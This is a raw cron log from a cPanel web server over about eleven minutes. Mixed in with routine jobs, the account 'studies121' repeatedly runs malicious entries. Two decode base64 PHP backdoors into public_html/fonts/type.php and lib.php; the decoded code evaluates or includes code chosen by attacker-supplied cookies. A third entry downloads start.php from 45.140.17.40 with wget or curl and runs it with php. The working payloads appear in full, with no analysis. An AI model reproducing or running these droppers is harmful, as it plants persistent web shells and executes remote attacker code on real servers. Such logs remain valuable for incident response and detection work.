Sep  4 13:00:01 ip-184-168-122-23 CROND[28281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:00:01 ip-184-168-122-23 CROND[28282]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 13:00:01 ip-184-168-122-23 CROND[28284]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 13:00:01 ip-184-168-122-23 CROND[28287]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 13:00:01 ip-184-168-122-23 CROND[28290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:00:01 ip-184-168-122-23 CROND[28295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:00:01 ip-184-168-122-23 CROND[28293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:00:01 ip-184-168-122-23 CROND[28294]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:01:01 ip-184-168-122-23 CROND[28388]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 13:01:01 ip-184-168-122-23 CROND[28389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:01:01 ip-184-168-122-23 CROND[28392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:01:01 ip-184-168-122-23 CROND[28393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:01:01 ip-184-168-122-23 CROND[28391]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 13:01:01 ip-184-168-122-23 CROND[28394]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28388]: starting 0anacron
Sep  4 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28409]: finished 0anacron
Sep  4 13:02:01 ip-184-168-122-23 CROND[28481]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:02:01 ip-184-168-122-23 CROND[28480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:02:01 ip-184-168-122-23 CROND[28484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:02:01 ip-184-168-122-23 CROND[28482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:02:01 ip-184-168-122-23 CROND[28483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:03:01 ip-184-168-122-23 CROND[28652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:03:01 ip-184-168-122-23 CROND[28653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:03:01 ip-184-168-122-23 CROND[28655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:03:01 ip-184-168-122-23 CROND[28654]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:04:01 ip-184-168-122-23 CROND[28760]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:04:01 ip-184-168-122-23 CROND[28761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:04:01 ip-184-168-122-23 CROND[28762]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:04:01 ip-184-168-122-23 CROND[28764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:04:01 ip-184-168-122-23 CROND[28763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:05:01 ip-184-168-122-23 CROND[28858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:05:01 ip-184-168-122-23 CROND[28859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:05:01 ip-184-168-122-23 CROND[28860]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 13:05:01 ip-184-168-122-23 CROND[28862]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 13:05:01 ip-184-168-122-23 CROND[28863]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 13:05:01 ip-184-168-122-23 CROND[28861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:05:01 ip-184-168-122-23 CROND[28864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:06:01 ip-184-168-122-23 CROND[28957]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:06:02 ip-184-168-122-23 CROND[28962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:06:02 ip-184-168-122-23 CROND[28961]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:06:02 ip-184-168-122-23 CROND[28963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:06:02 ip-184-168-122-23 CROND[28964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:07:01 ip-184-168-122-23 CROND[29071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:07:01 ip-184-168-122-23 CROND[29072]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:07:01 ip-184-168-122-23 CROND[29073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:07:01 ip-184-168-122-23 CROND[29076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:08:01 ip-184-168-122-23 CROND[29195]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:08:01 ip-184-168-122-23 CROND[29199]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:08:01 ip-184-168-122-23 CROND[29197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:08:01 ip-184-168-122-23 CROND[29198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:08:01 ip-184-168-122-23 CROND[29200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:09:01 ip-184-168-122-23 CROND[29367]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:09:01 ip-184-168-122-23 CROND[29369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:09:01 ip-184-168-122-23 CROND[29368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:09:01 ip-184-168-122-23 CROND[29370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:09:01 ip-184-168-122-23 CROND[29371]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 13:10:01 ip-184-168-122-23 CROND[29495]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 13:10:01 ip-184-168-122-23 CROND[29498]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 13:10:01 ip-184-168-122-23 CROND[29502]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 13:10:01 ip-184-168-122-23 CROND[29501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:10:01 ip-184-168-122-23 CROND[29503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:10:01 ip-184-168-122-23 CROND[29500]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:10:01 ip-184-168-122-23 CROND[29504]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:10:01 ip-184-168-122-23 CROND[29499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:11:01 ip-184-168-122-23 CROND[29611]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:11:01 ip-184-168-122-23 CROND[29614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:11:01 ip-184-168-122-23 CROND[29613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:11:01 ip-184-168-122-23 CROND[29617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
